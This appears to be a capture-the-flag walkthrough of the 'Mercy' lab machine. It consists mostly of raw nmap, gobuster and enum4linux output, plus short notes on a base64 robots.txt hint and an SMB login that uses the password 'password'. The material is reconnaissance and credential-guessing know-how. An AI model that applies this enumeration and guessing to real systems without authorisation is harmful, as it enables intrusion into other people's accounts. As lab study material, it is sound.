MERCY

AutoRecon NMAP Scan

NMAP SCAN

```
┌──(kali㉿kali)-[~/.../autorecon/results/10.10.10.13/scans]
└─$ cat _full_tcp_nmap.txt
# Nmap 7.91 scan initiated Wed Mar 10 16:56:46 2021 as: nmap -vv --reason -Pn -A --
osscan-guess --version-all -p- -oN /home/kali/AutoRecon/src/autorecon/results/10.10.10.13/-
scans/_full_tcp_nmap.txt -oX /home/kali/AutoRecon/src/autorecon/results/10.10.10.13/-
scans/xml/_full_tcp_nmap.xml 10.10.10.13
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try
using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.13
Host is up, received user-set (0.00012s latency).
Scanned at 2021-03-10 16:56:46 EST for 24s
Not shown: 65527 closed ports
Reason: 65527 conn-refused
PORT     STATE SERVICE     REASON  VERSION
53/tcp   open  domain      syn-ack ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.17-Ubuntu
110/tcp  open  pop3        syn-ack Dovecot pop3d
|_pop3-capabilities: RESP-CODES CAPA SASL STLS UIDL AUTH-RESP-CODE TOP PIPELINING
|_ssl-date: TLS randomness does not represent time
139/tcp  open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
143/tcp  open  imap        syn-ack Dovecot imapd (Ubuntu)
|_imap-capabilities: post-login IDLE ID IMAP4rev1 have more LOGIN-REFERRALS listed
STARTTLS ENABLE capabilities Pre-login OK LOGINDISABLEDA0001 SASL-IR LITERAL+
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn syn-ack Samba smbd 4.3.11-Ubuntu (workgroup:
WORKGROUP)
993/tcp  open  ssl/imaps?  syn-ack
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server/-
emailAddress=root@localhost/organizationalUnitName=localhost
| Issuer: commonName=localhost/organizationName=Dovecot mail server/-
emailAddress=root@localhost/organizationalUnitName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-08-24T13:22:55
| Not valid after:  2028-08-23T13:22:55
| MD5:   5114 fd64 1d28 7465 e1c8 8fde af46 c767
| SHA-1: b1d2 b496 ab16 ed59 df4e 396e 6aa4 94df e59f c991
| -----BEGIN CERTIFICATE-----
| MIIDnTCCAoWgAwIBAgIJAJSmN2X0v1fgMA0GCSqGSIb3DQEBCwUAMGUxHDAaBgNV
```

| BAoME0RvdmVjb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
| A1UEAwwJbG9jYWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
| Fw0xODA4MjQxMzIyNTVaFw0yODA4MjMxMzIyNTVaMGUxHDAaBgNVBAoME0RvdmVj
| b3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
| YWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBAKu55qkWb82oRinbXM7yriNhM89K8G7qeuYC
| xvpaeScaIhX4T8+KDbA5+ekrkKba8Zw/8EYKD5zovZqjL9DbwE0dmDVR/zVUkV79
| 9kyqOejKzIPFj8yr2OgNhDSpIrX76aEMgxY4H4TffGX5AiT2F4gVsaAh24pEvN8T
| YMJpusrcslfkxvKCl1SV0BXkfLIbQW93SxYH3pgABMpcjLsunCXgzOY0mc+eAfKO
| Js/JwKQZvblphTQJTT0QBRGjXoKf/v4Ka6dLcNPZHV1ej/b6RxGNhqd7ZBtoqVMb
| TdCKz40EnBaOsyIZnlM0bs+coxok1N5x12WHBpzbf2yKIKdDHzUCAwEAAaNQME4w
| HQYDVR0OBBYEFHM5ygJg0U68O2+1Yzkmwy7p65/LMB8GA1UdIwQYMBaAFHM5ygJg
| 0U68O2+1Yzkmwy7p65/LMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
| AGPDeUWsmdzhE9pXcmmdQVs763g7iUHpFS12m+Vvj5wQWJxMYqvXV1HvDljZL/sY
| EapBfXl+U/vDswW+KUUqjAbC4z2tVlGU4Yqd48R/8S4pEQ/98DIyIlcS1RsBXlJd
| ELgFQ3CAG6XWvX3zgkkj8JYYBifUBNPuCtME2YFVHfs4D1M4KsDzW7i1iBtLaVPj
| zVy+MgJU1UZ11szaw6/C8HT+A/gf0zqIKXTECaHUENSaB0GMGqoh1HjL8sSHLGBH
| SgZqcBuJhD9VQ2IjbinG0eZErgTbG58xM2a+Eyq3nQ7CuAGq/+I3yxYGh6OSCr9Z
| z+3Va0s54XjQ2xICsn7tKrg=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3s? syn-ack
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server/-
emailAddress=root@localhost/organizationalUnitName=localhost
| Issuer: commonName=localhost/organizationName=Dovecot mail server/-
emailAddress=root@localhost/organizationalUnitName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-08-24T13:22:55
| Not valid after: 2028-08-23T13:22:55
| MD5: 5114 fd64 1d28 7465 e1c8 8fde af46 c767
| SHA-1: b1d2 b496 ab16 ed59 df4e 396e 6aa4 94df e59f c991
| -----BEGIN CERTIFICATE-----
| MIIDnTCCAoWgAwIBAgIJAJSmN2X0v1fgMA0GCSqGSIb3DQEBCwUAMGUxHDAaBgNV
| BAoME0RvdmVjb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
| A1UEAwwJbG9jYWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
| Fw0xODA4MjQxMzIyNTVaFw0yODA4MjMxMzIyNTVaMGUxHDAaBgNVBAoME0RvdmVj
| b3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
| YWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBAKu55qkWb82oRinbXM7yriNhM89K8G7qeuYC
| xvpaeScaIhX4T8+KDbA5+ekrkKba8Zw/8EYKD5zovZqjL9DbwE0dmDVR/zVUkV79
| 9kyqOejKzIPFj8yr2OgNhDSpIrX76aEMgxY4H4TffGX5AiT2F4gVsaAh24pEvN8T
| YMJpusrcslfkxvKCl1SV0BXkfLIbQW93SxYH3pgABMpcjLsunCXgzOY0mc+eAfKO
| Js/JwKQZvblphTQJTT0QBRGjXoKf/v4Ka6dLcNPZHV1ej/b6RxGNhqd7ZBtoqVMb
| TdCKz40EnBaOsyIZnlM0bs+coxok1N5x12WHBpzbf2yKIKdDHzUCAwEAAaNQME4w
| HQYDVR0OBBYEFHM5ygJg0U68O2+1Yzkmwy7p65/LMB8GA1UdIwQYMBaAFHM5ygJg
| 0U68O2+1Yzkmwy7p65/LMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
| AGPDeUWsmdzhE9pXcmmdQVs763g7iUHpFS12m+Vvj5wQWJxMYqvXV1HvDljZL/sY
| EapBfXl+U/vDswW+KUUqjAbC4z2tVlGU4Yqd48R/8S4pEQ/98DIyIlcS1RsBXlJd
| ELgFQ3CAG6XWvX3zgkkj8JYYBifUBNPuCtME2YFVHfs4D1M4KsDzW7i1iBtLaVPj
| zVy+MgJU1UZ11szaw6/C8HT+A/gf0zqIKXTECaHUENSaB0GMGqoh1HjL8sSHLGBH
| SgZqcBuJhD9VQ2IjbinG0eZErgTbG58xM2a+Eyq3nQ7CuAGq/+I3yxYGh6OSCr9Z

| z+3Va0s54XjQ2xICsn7tKrg=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
8080/tcp open http   syn-ack Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/tryharder/tryharder
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -7h40m00s, deviation: 4h37m07s, median: -5h00m01s
| nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| Names:
| MERCY<00>   Flags: <unique><active>
| MERCY<03>   Flags: <unique><active>
| MERCY<20>   Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00>   Flags: <group><active>
| WORKGROUP<1d>   Flags: <unique><active>
| WORKGROUP<1e>   Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 55326/tcp): CLEAN (Couldn't connect)
| Check 2 (port 65000/tcp): CLEAN (Couldn't connect)
| Check 3 (port 57135/udp): CLEAN (Failed to receive data)
| Check 4 (port 19193/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: mercy
| NetBIOS computer name: MERCY\x00
| Domain name: \x00
| FQDN: mercy
|_ System time: 2021-03-11T00:56:58+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_   Message signing enabled but not required
| smb2-time:

```
|   date: 2021-03-10T16:56:58
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/-
submit/ .
# Nmap done at Wed Mar 10 16:57:10 2021 -- 1 IP address (1 host up) scanned in 24.17
seconds
```

Directory Buster

DIRECTORY BUSTER

```
┌──(kali㉿kali)-[~/…/autorecon/results/10.10.10.13/scans]
└─$ cat tcp_8080_http_gobuster.txt
/docs (Status: 302) [Size: 0]
/examples (Status: 302) [Size: 0]
/host-manager (Status: 302) [Size: 0]
/index.html (Status: 200) [Size: 1895]
/index.html (Status: 200) [Size: 1895]
/manager (Status: 302) [Size: 0]
/robots.txt (Status: 200) [Size: 45]
/robots.txt (Status: 200) [Size: 45]
```

Robots.txt shows the following

```
User-agent: *
Disallow: /tryharder/tryharder
```

tryharder shows the following

```
SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5Y
```

This was base64 encoded according to cyberchef:

It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.

Once, we found the password "**password**", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.

No **fluffy bunnies** for those who set insecure passwords and endanger the enterprise.

Fluffy bunnies seems like a weird term to use for me, but we shall see

Tomcat

TOMCAT

Tried default passwords and those did not work, going to need a username list or something to get in

Enum4Linux

ENUM4LINUX

A lot of information about Qiu and the smb client within Enum4Linux, lets try Qiu and get in through SMB

```
┌──(kali㉿kali)-[~/.../autorecon/results/10.10.10.13/scans]
└─$ cat enum4linux.txt
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Mar 10 16:57:09 2021

 ==========================
|    Target Information    |
 ==========================
Target ..... 10.10.10.13
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================================================
|    Enumerating Workgroup/Domain on 10.10.10.13    |
 ============================================================
[+] Got domain/workgroup name: WORKGROUP

 ============================================
|    Nbtstat Information for 10.10.10.13    |
 ============================================
Looking up status of 10.10.10.13
        MERCY          <00> -         B <ACTIVE>  Workstation Service
        MERCY          <03> -         B <ACTIVE>  Messenger Service
        MERCY          <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP      <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP      <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP      <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
```

```
        MAC Address = 00-00-00-00-00-00

 ========================================
|    Session Check on 10.10.10.13    |
 ========================================
[+] Server 10.10.10.13 allows sessions using username '', password ''

 ================================================
|    Getting information via LDAP for 10.10.10.13    |
 ================================================
[E] Connection error

 ============================================
|    Getting domain SID for 10.10.10.13    |
 ============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================
|    OS information on 10.10.10.13    |
 ========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.13 from smbclient:
[+] Got OS info for 10.10.10.13 from srvinfo:
        MERCY          Wk Sv PrQ Unx NT SNT MERCY server (Samba, Ubuntu)
        platform_id     : 500
        os version      :  6.1
        server type     : 0x809a03

 ==============================
|    Users on 10.10.10.13    |
 ==============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: pleadformercy     Name: QIU        Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: qiu      Name:      Desc:

user:[pleadformercy] rid:[0x3e8]
user:[qiu] rid:[0x3e9]
        User Name   : qiu
        Full Name   :
        Home Drive  : \\mercy\qiu
        Dir Drive   :
        Profile Path:   \\mercy\qiu\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time              :       Wed, 31 Dec 1969 19:00:00 EST
        Logoff Time             :       Wed, 13 Sep 30828 22:48:05 EDT
        Kickoff Time            :       Wed, 13 Sep 30828 22:48:05 EDT
        Password last set Time   :  Mon, 19 Nov 2018 12:07:21 EST
        Password can change Time :     Mon, 19 Nov 2018 12:07:21 EST
```

Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x3e9
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : False
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False
Trusted for delegation : False

User Name : pleadformercy
Full Name : QIU
Home Drive : \\mercy\pleadformercy
Dir Drive :
Profile Path: \\mercy\pleadformercy\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Mon, 19 Nov 2018 12:10:11 EST
Password can change Time : Mon, 19 Nov 2018 12:10:11 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x3e8
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : False
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False

Trusted for delegation : False

```
 ============================================
|    Machine Enumeration on 10.10.10.13     |
 ============================================
[E] Internal error.  Not implmented in this version of enum4linux.

 ============================================
|    Share Enumeration on 10.10.10.13     |
 ============================================

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        qiu             Disk
        IPC$            IPC       IPC Service (MERCY server (Samba, Ubuntu))
        Patrick-s-Personal-Printer Printer   Personal Printer for Patrick and Development
Department @ TORME
        Genevieve-s-Personal-Printer Printer   For all of Legal @ TORMENT
        Roland-s-Personal-Printer Printer   For Roland's Own Use @ TORMENT
        Albert-s-Personal-Printer Printer   Enterprise Team 1 @ TORMENT
        David-s-Personal-Printer Printer   The Director's Personal Printer @ TORMENT
        Qinyi-s-Personal-Printer Printer   Personal Printer for Qinyi @ TORMENT
        Sara-s-Personal-Printer Printer   Personal Printer for Sara @ TORMENT
        Govindasamy-s-Personal-Printer Printer   NOT FOR THE INFRA TEAM!! @ TORMENT
        Eva-s-Personal-Printer Printer   Personal Printer for Eva @ TORMENT
        Kenny-s-Personal-Printer Printer   NOT FOR THE ENTERPRISE TEAM!!! @ TORMENT
        Cherrlt-s-Personal-Printer Printer   Receptionist's Desk @ TORMENT
        Qiu-s-Personal-Printer Printer   Personal Printer for Qiu and Procurement Department
@ TORMENT
        Edmund-s-Personal-Printer Printer   For all of Network Infrastructure @ TORMENT
        Ethan-s-Personal-Printer Printer   Enterprise Team 2 @ TORMENT
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.10.13
//10.10.10.13/print$        Mapping: DENIED, Listing: N/A
//10.10.10.13/qiu     Mapping: DENIED, Listing: N/A
//10.10.10.13/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.10.10.13/Patrick-s-Personal-Printer     Mapping: DENIED, Listing: N/A
//10.10.10.13/Genevieve-s-Personal-Printer       Mapping: DENIED, Listing: N/A
//10.10.10.13/Roland-s-Personal-Printer     Mapping: DENIED, Listing: N/A
//10.10.10.13/Albert-s-Personal-Printer     Mapping: DENIED, Listing: N/A
//10.10.10.13/David-s-Personal-Printer      Mapping: DENIED, Listing: N/A
//10.10.10.13/Qinyi-s-Personal-Printer      Mapping: DENIED, Listing: N/A
//10.10.10.13/Sara-s-Personal-Printer       Mapping: DENIED, Listing: N/A
//10.10.10.13/Govindasamy-s-Personal-Printer   Mapping: DENIED, Listing: N/A
//10.10.10.13/Eva-s-Personal-Printer  Mapping: DENIED, Listing: N/A
//10.10.10.13/Kenny-s-Personal-Printer      Mapping: DENIED, Listing: N/A
//10.10.10.13/Cherrlt-s-Personal-Printer     Mapping: DENIED, Listing: N/A
//10.10.10.13/Qiu-s-Personal-Printer  Mapping: DENIED, Listing: N/A
//10.10.10.13/Edmund-s-Personal-Printer  Mapping: DENIED, Listing: N/A
```

//10.10.10.13/Ethan-s-Personal-Printer   Mapping: DENIED, Listing: N/A

 ==
| Password Policy Information for 10.10.10.13 |
 ==

[+] Attaching to 10.10.10.13 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] MERCY
        [+] Builtin

[+] Password Info for Domain: MERCY

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5

 ============================
| Groups on 10.10.10.13 |
 ============================

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

```
=================================================================
|    Users on 10.10.10.13 via RID cycling (RIDS: 500-550,1000-1050)    |
=================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-3544418579-3748865642-433680629
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
[E] No info found

S-1-5-32-545 BUILTIN\Users (Local Group)
[E] No info found

S-1-5-32-546 BUILTIN\Guests (Local Group)
[E] No info found

S-1-5-32-547 BUILTIN\Power Users (Local Group)
[E] No info found

S-1-5-32-548 BUILTIN\Account Operators (Local Group)
[E] No info found

S-1-5-32-549 BUILTIN\Server Operators (Local Group)
[E] No info found

S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[E] No info found


[+] Enumerating users using SID S-1-5-21-3544418579-3748865642-433680629 and
logon username '', password ''
S-1-5-21-3544418579-3748865642-433680629-500 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-501 MERCY\nobody (Local User)
        User Name   :   nobody
        Full Name   :     nobody
        Home Drive  :
        Dir Drive   :     (null)
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time              :       Wed, 31 Dec 1969 19:00:00 EST
```

Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Wed, 31 Dec 1969 19:00:00 EST
Password can change Time : Wed, 31 Dec 1969 19:00:00 EST
Password must change Time: Wed, 31 Dec 1969 19:00:00 EST
unknown_2[0..31]...
user_rid : 0x1f5
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : False
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False
Trusted for delegation : False

S-1-5-21-3544418579-3748865642-433680629-513 MERCY\None (Domain Group)
Group Name: None
Description: Ordinary Users
Group Attribute:7
Num Members:0

S-1-5-21-3544418579-3748865642-433680629-1000 MERCY\pleadformercy (Local User)
User Name : pleadformercy
Full Name : QIU
Home Drive : \\mercy\pleadformercy
Dir Drive :
Profile Path: \\mercy\pleadformercy\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Mon, 19 Nov 2018 12:10:11 EST
Password can change Time : Mon, 19 Nov 2018 12:10:11 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x3e8
group_rid: 0x201
acb_info : 0x00000010

fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : False
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False
Trusted for delegation : False

S-1-5-21-3544418579-3748865642-433680629-1001 MERCY\qiu (Local User)
User Name : qiu
Full Name :
Home Drive : \\mercy\qiu
Dir Drive :
Profile Path: \\mercy\qiu\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Mon, 19 Nov 2018 12:07:21 EST
Password can change Time : Mon, 19 Nov 2018 12:07:21 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x3e9
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Account Disabled : False
Password does not expire : False
Account locked out : False
Password expired : False
Interdomain trust account: False
Workstation trust account: False
Server trust account : False
Trusted for delegation : False

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\pleadformercy (Local User)
	User Name : pleadformercy
	Full Name : QIU
	Home Drive : \\mercy\pleadformercy
	Dir Drive :
	Profile Path: \\mercy\pleadformercy\profile
	Logon Script:
	Description :
	Workstations:
	Comment :
	Remote Dial :
	Logon Time : Wed, 31 Dec 1969 19:00:00 EST
	Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
	Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
	Password last set Time : Mon, 19 Nov 2018 12:10:11 EST
	Password can change Time : Mon, 19 Nov 2018 12:10:11 EST
	Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
	unknown_2[0..31]...
	user_rid : 0x3e8
	group_rid: 0x201
	acb_info : 0x00000010
	fields_present: 0x00ffffff
	logon_divs: 168
	bad_password_count: 0x00000000
	logon_count: 0x00000000
	padding1[0..7]...
	logon_hrs[0..21]...
	Account Disabled : False
	Password does not expire : False
	Account locked out : False
	Password expired : False
	Interdomain trust account: False
	Workstation trust account: False
	Server trust account : False
	Trusted for delegation : False

S-1-22-1-1001 Unix User\qiu (Local User)
	User Name : qiu
	Full Name :
	Home Drive : \\mercy\qiu
	Dir Drive :
	Profile Path: \\mercy\qiu\profile
	Logon Script:
	Description :
	Workstations:
	Comment :
	Remote Dial :
	Logon Time : Wed, 31 Dec 1969 19:00:00 EST
	Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
	Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
	Password last set Time : Mon, 19 Nov 2018 12:07:21 EST
	Password can change Time : Mon, 19 Nov 2018 12:07:21 EST
	Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT

```
        unknown_2[0..31]...
        user_rid :  0x3e9
        group_rid:      0x201
        acb_info : 0x00000010
        fields_present:  0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...
        Account Disabled        : False
        Password does not expire : False
        Account locked out      : False
        Password expired        : False
        Interdomain trust account: False
        Workstation trust account: False
        Server trust account    : False
        Trusted for delegation  : False

S-1-22-1-1002 Unix User\thisisasuperduperlonguser (Local User)
Use of uninitialized value $user_info in pattern match (m//) at ./enum4linux.pl line 932.

S-1-22-1-1003 Unix User\fluffy (Local User)
Use of uninitialized value $user_info in pattern match (m//) at ./enum4linux.pl line 932.


 ==========================================
|    Getting printer info for 10.10.10.13    |
 ==========================================
        flags:[0x800000]
        name:[\\10.10.10.13\Patrick-s-Personal-Printer]
        description:[\\10.10.10.13\Patrick-s-Personal-Printer,,Personal Printer for Patrick and
Development Department @ TORME]
        comment:[Personal Printer for Patrick and Development Department @ TORME]

        flags:[0x800000]
        name:[\\10.10.10.13\Genevieve-s-Personal-Printer]
        description:[\\10.10.10.13\Genevieve-s-Personal-Printer,,For all of Legal @ TORMENT]
        comment:[For all of Legal @ TORMENT]

        flags:[0x800000]
        name:[\\10.10.10.13\Roland-s-Personal-Printer]
        description:[\\10.10.10.13\Roland-s-Personal-Printer,,For Roland's Own Use @
TORMENT]
        comment:[For Roland's Own Use @ TORMENT]

        flags:[0x800000]
        name:[\\10.10.10.13\Albert-s-Personal-Printer]
        description:[\\10.10.10.13\Albert-s-Personal-Printer,,Enterprise Team 1 @ TORMENT]
        comment:[Enterprise Team 1 @ TORMENT]

        flags:[0x800000]
        name:[\\10.10.10.13\David-s-Personal-Printer]
```

description:[\\10.10.10.13\David-s-Personal-Printer,,The Director's Personal Printer @ TORMENT]
comment:[The Director's Personal Printer @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Qinyi-s-Personal-Printer]
description:[\\10.10.10.13\Qinyi-s-Personal-Printer,,Personal Printer for Qinyi @ TORMENT]
comment:[Personal Printer for Qinyi @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Sara-s-Personal-Printer]
description:[\\10.10.10.13\Sara-s-Personal-Printer,,Personal Printer for Sara @ TORMENT]
comment:[Personal Printer for Sara @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Govindasamy-s-Personal-Printer]
description:[\\10.10.10.13\Govindasamy-s-Personal-Printer,,NOT FOR THE INFRA TEAM!! @ TORMENT]
comment:[NOT FOR THE INFRA TEAM!! @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Eva-s-Personal-Printer]
description:[\\10.10.10.13\Eva-s-Personal-Printer,,Personal Printer for Eva @ TORMENT]
comment:[Personal Printer for Eva @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Kenny-s-Personal-Printer]
description:[\\10.10.10.13\Kenny-s-Personal-Printer,,NOT FOR THE ENTERPRISE TEAM!!! @ TORMENT]
comment:[NOT FOR THE ENTERPRISE TEAM!!! @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Cherrlt-s-Personal-Printer]
description:[\\10.10.10.13\Cherrlt-s-Personal-Printer,,Receptionist's Desk @ TORMENT]
comment:[Receptionist's Desk @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Qiu-s-Personal-Printer]
description:[\\10.10.10.13\Qiu-s-Personal-Printer,,Personal Printer for Qiu and Procurement Department @ TORMENT]
comment:[Personal Printer for Qiu and Procurement Department @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Edmund-s-Personal-Printer]
description:[\\10.10.10.13\Edmund-s-Personal-Printer,,For all of Network Infrastructure @ TORMENT]
comment:[For all of Network Infrastructure @ TORMENT]

flags:[0x800000]
name:[\\10.10.10.13\Ethan-s-Personal-Printer]
description:[\\10.10.10.13\Ethan-s-Personal-Printer,,Enterprise Team 2 @ TORMENT]

comment:[Enterprise Team 2 @ TORMENT]

enum4linux complete on Wed Mar 10 16:57:19 2021

SMB

SMB

The password ended up being password, damn Qiu you dumb.

```
┌──(kali㉿kali)-[~/.../autorecon/results/10.10.10.13/scans]
